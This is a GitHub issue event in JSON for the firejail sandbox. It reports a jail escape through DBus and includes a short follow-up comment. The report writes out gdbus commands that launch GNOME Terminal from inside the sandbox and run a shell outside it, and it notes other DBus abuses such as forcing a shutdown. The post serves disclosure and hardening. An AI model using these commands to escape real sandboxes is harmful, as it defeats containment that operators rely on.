{"action":"created","issue":{"url":"https://api.github.com/repos/netblue30/firejail/issues/796","repository_url":"https://api.github.com/repos/netblue30/firejail","labels_url":"https://api.github.com/repos/netblue30/firejail/issues/796/labels{/name}","comments_url":"https://api.github.com/repos/netblue30/firejail/issues/796/comments","events_url":"https://api.github.com/repos/netblue30/firejail/issues/796/events","html_url":"https://github.com/netblue30/firejail/issues/796","id":177779762,"number":796,"title":"Jail escape through DBus","user":{"login":"lheckemann","id":341954,"avatar_url":"https://avatars.githubusercontent.com/u/341954?v=3","gravatar_id":"","url":"https://api.github.com/users/lheckemann","html_url":"https://github.com/lheckemann","followers_url":"https://api.github.com/users/lheckemann/followers","following_url":"https://api.github.com/users/lheckemann/following{/other_user}","gists_url":"https://api.github.com/users/lheckemann/gists{/gist_id}","starred_url":"https://api.github.com/users/lheckemann/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lheckemann/subscriptions","organizations_url":"https://api.github.com/users/lheckemann/orgs","repos_url":"https://api.github.com/users/lheckemann/repos","events_url":"https://api.github.com/users/lheckemann/events{/privacy}","received_events_url":"https://api.github.com/users/lheckemann/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/netblue30/firejail/labels/enhancement","name":"enhancement","color":"84b6eb"}],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":7,"created_at":"2016-09-19T13:07:32Z","updated_at":"2016-09-19T20:21:06Z","closed_at":null,"body":"Blacklisting client/server-based terminal emulators is not sufficient to avoid jailbreaks. For example, if GNOME Terminal is installed, one can escape using a wide variety of tools, such as `gdbus` or DBus bindings for the language of the attacker's choice.\r\n\r\nExample:\r\n```bash\r\n# Start service\r\ngdbus call --session --dest=org.freedesktop.DBus --object-path=/org/freedesktop/DBus -m org.freedesktop.DBus.StartServiceByName org.gnome.Terminal 0\r\n# Open terminal window\r\ngdbus call --session --dest=org.gnome.Terminal --object-path=/org/gnome/Terminal/Factory0 -m org.gnome.Terminal.Factory0.CreateInstance '{\"display\":<b\":1\">}'\r\n# Will return something like (objectpath '/org/gnome/Terminal/window/14/terminal/714ab892_a1fa_41fa_ad03_6ad202fdce9f',)\r\n# Use this path for the next call\r\n# Start a shell\r\ngdbus call --session --dest=org.gnome.Terminal --object-path=/org/gnome/Terminal/window/15/terminal/714ab892_a1fa_41fa_ad03_6ad202fdce9f -m org.gnome.Terminal.Terminal0.Exec '[]' '[]'\r\n# Or something else\r\ngdbus call --session --dest=org.gnome.Terminal --object-path=/org/gnome/Terminal/window/15/terminal/714ab892_a1fa_41fa_ad03_6ad202fdce9f -m org.gnome.Terminal.Terminal0.Exec '[]' '[b\"echo\", b\"hello\"]'\r\n```\r\n\r\nOf course there are diverse other attack options through DBus, such as shutting down the system through UPower, unmounting things mounted through GVFS, etc.\r\n\r\nAs a lot of applications will not work without access to DBus, there needs to be some more fine-grained access control to only allow applications access to the interfaces they really need..."},"comment":{"url":"https://api.github.com/repos/netblue30/firejail/issues/comments/248113458","html_url":"https://github.com/netblue30/firejail/issues/796#issuecomment-248113458","issue_url":"https://api.github.com/repos/netblue30/firejail/issues/796","id":248113458,"user":{"login":"lheckemann","id":341954,"avatar_url":"https://avatars.githubusercontent.com/u/341954?v=3","gravatar_id":"","url":"https://api.github.com/users/lheckemann","html_url":"https://github.com/lheckemann","followers_url":"https://api.github.com/users/lheckemann/followers","following_url":"https://api.github.com/users/lheckemann/following{/other_user}","gists_url":"https://api.github.com/users/lheckemann/gists{/gist_id}","starred_url":"https://api.github.com/users/lheckemann/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lheckemann/subscriptions","organizations_url":"https://api.github.com/users/lheckemann/orgs","repos_url":"https://api.github.com/users/lheckemann/repos","events_url":"https://api.github.com/users/lheckemann/events{/privacy}","received_events_url":"https://api.github.com/users/lheckemann/received_events","type":"User","site_admin":false},"created_at":"2016-09-19T20:21:06Z","updated_at":"2016-09-19T20:21:06Z","body":"@chiraag-nataraj as far as I understand, that will only prevent automatic starting of the server and the jail can still be escaped if the user has a GNOME Terminal open.\r\n\r\n@netblue30 How is that a problem that DBus has?"}}
{"actor":{"display_login":"lheckemann"}}